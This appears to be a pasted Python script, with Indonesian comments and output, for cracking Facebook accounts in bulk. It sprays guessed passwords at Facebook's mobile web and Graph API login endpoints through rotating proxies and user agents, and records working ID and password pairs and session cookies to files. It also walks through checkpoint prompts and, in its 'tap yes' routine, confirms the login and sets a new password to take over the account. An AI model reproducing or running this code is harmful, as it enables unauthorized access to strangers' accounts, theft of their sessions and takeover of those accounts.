- ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
- po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
- if "checkpoint" in po.cookies.get_dict().keys():
- print('╭────────────────────────────╮')
- if 'no' in gabriel:
- cp+=1
- tree = Tree(f"[bold red] CECKPOINT 🥴 ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST : [bold red]+ ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
- print('╰────────────────────────────╯')
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- break
- elif 'ya' in gabriel:
- cp+=1
- tree = Tree(f"[bold red] CECKPOINT 🥴 ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST : [bold red]+ ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- ceker(idf,pw)
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- print('╭────────────────────────────╮')
- tree = Tree(f"[bold green] SUCKSES 🧐 ")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
- print('╰────────────────────────────╯')
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- break
- elif 'ya' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- print('╭────────────────────────────╮')
- tree = Tree(f"[bold green] SUCKSES 🧐 ")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
- print('╰────────────────────────────╯')
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(kuki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #--------------------[ METODE B-API ]-----------------#
- def crackfree(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}SPOKY XD 🤖 {x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold red]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- params = {
- "access_token": "200424423651082|2a9918c6bcd75b94cefcbb5635c6ad16",
- "sdk_version": {random.randint(1,26)},
- "email": idf,
- "locale": "en_US",
- "password": pw,
- "sdk": "android",
- "generate_session_cookies": "1",
- "sig": "4f648f21fb58fcd2aa1c65f35f441ef5"
- }
- headers = {
- "Host": "graph.facebook.com",
- "x-fb-connection-bandwidth": str(random.randint(20000000, 30000000)),
- "x-fb-sim-hni": str(random.randint(20000, 40000)),
- "x-fb-net-hni": str(random.randint(20000, 40000)),
- "x-fb-connection-quality": "EXCELLENT",
- "user-agent": ua,
- "content-type": "application/x-www-form-urlencoded",
- "x-fb-http-engine": "Liger"
- }
- post = ses.post("https://graph.facebook.com/auth/login",params=params, headers=headers, allow_redirects=False)
- if "User must verify their account" in post.text:
- print('╭────────────────────────────╮')
- if 'no' in gabriel:
- cp+=1
- tree = Tree(f"[bold red] CECKPOINT 🥴 ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST : [bold red]+ ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
- print('╰────────────────────────────╯')
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- break
- elif 'ya' in gabriel:
- cp+=1
- tree = Tree(f"[bold red] CECKPOINT 🥴 ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST : [bold red]+ ")
- tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- ceker(idf,pw)
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- print('╭────────────────────────────╮')
- tree = Tree(f"[bold green] SUCKSES 🧐 ")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
- print('╰────────────────────────────╯')
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- break
- elif 'ya' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- print('╭────────────────────────────╮')
- tree = Tree(f"[bold green] SUCKSES 🧐 ")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST : [bold green]+")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
- tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
- print('╰────────────────────────────╯')
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(kuki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #-----------------------[ CEK APLIKASI ]--------------------#
- def cek_apk(kuki):
- w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":cookie}).text
- sop = BeautifulSoup(w,"html.parser")
- x = sop.find("form",method="post")
- game = [i.text for i in x.find_all("h3")]
- if len(game)==0:
- print(f"\n {N}[{M}!{N}] opshh tidak ada aplikasi aktif di akun ini.")
- else:
- for i in range(len(game)):
- print(" %s%s. %s%s"%(H,i+1,game[i].replace("Ditambahkan pada"," Ditambahkan pada"),N))
- w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":cookie}).text
- sop = BeautifulSoup(w,"html.parser")
- x = sop.find("form",method="post")
- game = [i.text for i in x.find_all("h3")]
- if len(game)==0:
- print(f"\n {N}[{M}!{N}] opshh tidak ada aplikasi kadaluarsa di akun ini.")
- else:
- for i in range(len(game)):
- print(" %s%s. %s%s"%(K,i+1,game[i].replace("Kedaluwarsa"," Kedaluwarsa"),N))
- #--------------------------[ CHECK-OPSI-CHEKPOINT ]----------------#
- def ceker(idf,pw):
- global cp
- ua = 'Mozilla/5.0 (Linux; Android 11; 11; HD1913)W559Y) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4247.138 Mobile Safari/537.36'
- head = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
- ses = requests.Session()
- try:
- hi = ses.get('https://mbasic.facebook.com')
- ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':idf,'pass':pw,'login':'submit'}, headers=head, allow_redirects=True).text,'html.parser')
- jo = ho.find('form')
- data = {}
- lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
- for anj in jo('input'):
- if anj.get('name') in lion:
- data.update({anj.get('name'):anj.get('value')})
- kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=head).text,'html.parser')
- print('\r%s++++ %s|%s ----> CP %s'%(b,idf,pw,x))
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- cp+=1
- opsi = kent.find_all('option')
- if len(opsi)==0:
- print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
- else:
- for opsii in opsi:
- print('\r%s---> %s%s'%(kk,opsii.text,x))
- except Exception as c:
- print('\r%s++++ %s|%s ----> CP %s'%(b,idf,pw,x))
- print('\r%s---> Tidak Dapat Mengecek Opsi (Cek Login Di Lite/Mbasic)%s'%(u,x))
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- cp+=1
- #--------------------------[ CHECK-OPSI-CHEKPOINT-2 ]----------------#
- def cek_opsi():
- c = len(akun)
- hu = 'Terdapat %s Akun Untuk Dicek\nSebelum Mulai, Mode Pesawat/Ubah Kartu Sim Terlebih Dahulu'%(c)
- cetak(nel(hu, title='CEK OPSI'))
- input(x+'['+h+'•'+x+'] Mulai')
- cek = '# PROSES CEK OPSI DIMULAI'
- sol().print(mark(cek, style='green'))
- love = 0
- for kes in akun:
- try:
- try:
- id,pw = kes.split('|')[0],kes.split('|')[1]
- except IndexError:
- time.sleep(2)
- print('\r%s++++ %s ----> Error %s'%(b,kes,x))
- print('\r%s---> Pemisah Tidak Didukung Untuk Program Ini%s'%(u,x))
- continue
- bi = random.choice([u,k,kk,b,h,hh])
- print('\r%s---> %s/%s ---> { %s }%s'%(bi,love,len(akun),id,x), end=' ');sys.stdout.flush()
- ua = 'Mozilla/5.0 (Linux; Android 11; HD1913)W559Y) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4247.138 Mobile Safari/537.36'
- ses = requests.Session()
- header = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
- hi = ses.get('https://mbasic.facebook.com')
- ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':id,'pass':pw,'login':'submit'}, headers=header, allow_redirects=True).text,'html.parser')
- if "checkpoint" in ses.cookies.get_dict().keys():
- try:
- jo = ho.find('form')
- data = {}
- lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
- for anj in jo('input'):
- if anj.get('name') in lion:
- data.update({anj.get('name'):anj.get('value')})
- kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=header).text,'html.parser')
- print('\r%s++++ %s|%s ----> CP %s'%(b,id,pw,x))
- opsi = kent.find_all('option')
- if len(opsi)==0:
- print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
- else:
- for opsii in opsi:
- print('\r%s---> %s%s'%(kk,opsii.text,x))
- except:
- print('\r%s++++ %s|%s ----> CP %s'%(b,id,pw,x))
- print('\r%s---> Tidak Dapat Mengecek Opsi%s'%(u,x))
- elif "c_user" in ses.cookies.get_dict().keys():
- print('\r%s++++ %s|%s ----> OK %s'%(h,id,pw,x))
- else:
- print('\r%s++++ %s|%s ----> SALAH %s'%(x,id,pw,x))
- love+=1
- except requests.exceptions.ConnectionError:
- print('')
- li = '# KONEKSI INTERNET BERMASALAH, PERIKSA & COBA LAGI'
- sol().print(mark(li, style='red'))
- exit()
- dah = '# DONE'
- sol().print(mark(dah, style='green'))
- exit()
- #-----------------------[ CEK TAPYES ]--------------------#
- import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
- import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
- from concurrent.futures import ThreadPoolExecutor
- from bs4 import BeautifulSoup as parser
- from threading import (Thread, Event)
- from time import sleep as jeda
- from datetime import datetime
- ct = datetime.now()
- n = ct.month
- bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
- try:
- if n < 0 or n > 12:
- exit()
- nTemp = n - 1
- except ValueError:
- exit()
- current = datetime.now()
- hari = current.day
- bulan = bulan_[nTemp]
- tahun = current.year
- bullan = current.month
- waktu = ("%s-%s-%s"%(hari,bulan,tahun))
- bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
- M = '\x1b[1;91m' # MERAH
- H = '\x1b[1;92m' # HIJAU
- K = '\x1b[1;93m' # KUNING
- B = '\x1b[1;94m' # BIRU
- U = '\x1b[1;95m' # UNGU
- O = '\x1b[1;96m' # BIRU MUDA
- P = '\x1b[1;97m' # PUTIH
- J = '\033[38;2;255;127;0;1m' # ORANGE
- N = '\x1b[0m' # WARNA MATI
- acak = [M, H, K, B, U, O, P, J]
- warna = random.choice(acak)
- til ="\033[0m╰─ "
- def jalan(keliling):
- for mau in keliling + '\n':
- sys.stdout.write(mau)
- sys.stdout.flush();jeda(0.03)
- ubah_pass = []
- pwbaru = []
- pwBaru = []
- ubahP = []
- def tapyes():
- dirs = os.listdir('CP')
- cetak(nel(f"[bold white]INGAT TIDAK SEMUA CP TAPYES YA, HANYA HOKI, STAY HALAL SEDIAKAN ROKOK DAN KOPI 🚬☕ ",width=70,title=f"[bold yellow] CEK TAPYES",style=f"bold white"))
- print ("%s%s%s%s◕➤ \033[0m[!] Pilih Hasil Yg Tersimpan Di Cek Opsi [!]%s\n"%(U,til,O,U,O))
- for file in dirs:
- print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
- try:
- print("\n%s%s%s◕➤ \033[0m Masukan file [ cth%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
- opsi()
- except IOError:
- print ('%s%s◕➤ \033[0mfile tidak ada'%(M,til))
- exit()
- def opsi():
- CP = ("CP/")
- romi = input("%s%s%s◕➤ \033[0mNama file %s> %s"%(U,til,O,M,K))
- if romi == "":
- print("%s%s◕➤ \033[0misi yang benar "%(M,til));jeda(2)
- opsi()
- try:
- file_cp = open(CP+romi, "r").readlines()
- except IOError:
- exit("\n%s%s◕➤ \033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
- jalan("%s%s%s◕➤ \033[0m Mode pesawatkan terlebih dahulu 5 detik "%(U,til,O))
- pw=input("\n%s%s%s◕➤ \033[0mubah sandi pada akun one tab? y/t %s> %s"%(U,til,O,M,K))
- if pw in['y','Y']:
- ubah_pass.append("ubah_sandi")
- pw2 = input("%s%s%s◕➤ \033[0mmasukan sandi %s> %s"%(U,til,O,M,K))
- if len(pw2) <= 5:
- print("%s%s sandi minimal 6 karakter "%(M,til))
- else:
- pwbaru.append(pw2)
- print("\n %s# %s====================== %s#"%(P,M,P));jeda(2)
- print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
- print(" %s# %s====================== %s#"%(P,M,P));jeda(2)
- nomor = 0
- for fb in file_cp:
- akun = fb.replace("\n","")
- ngecek = akun.split("|")
- nomor+=1
- print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
- try:
- mengecek(ngecek[0].replace("",""), ngecek[1])
- except requests.exceptions.ConnectionError:
- continue
- print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
- input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
- back()
- data = {}
- data2 = {}
- def mengecek(user,pw):
- global loop,ubah_pass,pwbaru
- session=requests.Session()
- ua = 'Mozilla/5.0 (Linux; Android 10; 545B) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/96.0.4664.45 Mobile Safari/537.36'
- url = "https://mbasic.facebook.com"
- session.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
- soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
- link=soup.find("form",{"method":"post"})
- for x in soup("input"):
- data.update({x.get("name"):x.get("value")})
- data.update({"email":user,"pass":pw})
- urlPost=session.post(url+link.get("action"),data=data)
- response=bs4.BeautifulSoup(urlPost.text, "html.parser")
- if "c_user" in session.cookies.get_dict():
- if "Akun Anda Dikunci" in urlPost.text:
- print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
- else:
- print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
- open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
- elif "checkpoint" in session.cookies.get_dict():
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- title=re.findall("\<title>(.*?)<\/title>",str(response))
- link2=response.find("form",{"method":"post"})
- listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
- for x in response("input"):
- if x.get("name") in listInput:
- data2.update({x.get("name"):x.get("value")})
- an=session.post(url+link2.get("action"),data=data2)
- response2=bs4.BeautifulSoup(an.text,"html.parser")
- cek=[cek.text for cek in response2.find_all("option")]
- number=0
- print("\r%s╰─%s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
- if(len(cek)==0):
- if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
- if "ubah_sandi" in ubah_pass:
- dat,dat2={},{}
- but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
- for x in response("input"):
- if x.get("name") in but:
- dat.update({x.get("name"):x.get("value")})
- ubahPw=session.post(url+link2.get("action"),data=dat).text
- resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
- link3=resUbah.find("form",{"method":"post"})
- but2=["submit[Next]","nh","fb_dtsg","jazoest"]
- if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
- for b in resUbah("input"):
- dat2.update({b.get("name"):b.get("value")})
- dat2.update({"password_new":"".join(pwbaru)})
- an=session.post(url+link3.get("action"),data=dat2)
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s "%(H,til,N,H,user,pwbaru[0],coki))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
- #cek_apk(coki)
- else:
- print("\r%s%s \033[0makun one tab, silahkan anda login "%(H,til))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
- #cek_apk(coki)
- elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
- print("\r%s╰─\033[0m akun terpasang autentikasi dua faktor "%(M))
- else:
- print("%s%s\033[0mterjadi kesalahan"%(M,til))
- else:
- if "c_user" in session.cookies.get_dict():
- print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
- for opsi in range(len(cek)):
- number +=1
- jalan (" %s%s. %s%s"%(P,str(number),K,cek[opsi]))
- elif "login_error" in str(response):
- oh = run.find("div",{"id":"login_error"}).find("div").text
- print("%s╰─ %s"%(M,oh))
- else:
- print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
- #-----------------------[ SYSTEM-CONTROL ]--------------------#
- if __name__=='__main__':
- try:os.system('git pull')
- except:pass
- try:os.mkdir('OK')
- except:pass
- try:os.mkdir('CP')
- except:pass
- try:os.mkdir('DUMP')
- except:pass
- try:os.system('touch .prox.txt')
- except:pass
- try:os.system('clear')
- except:pass
- login()
Add Comment
Please, Sign In to add comment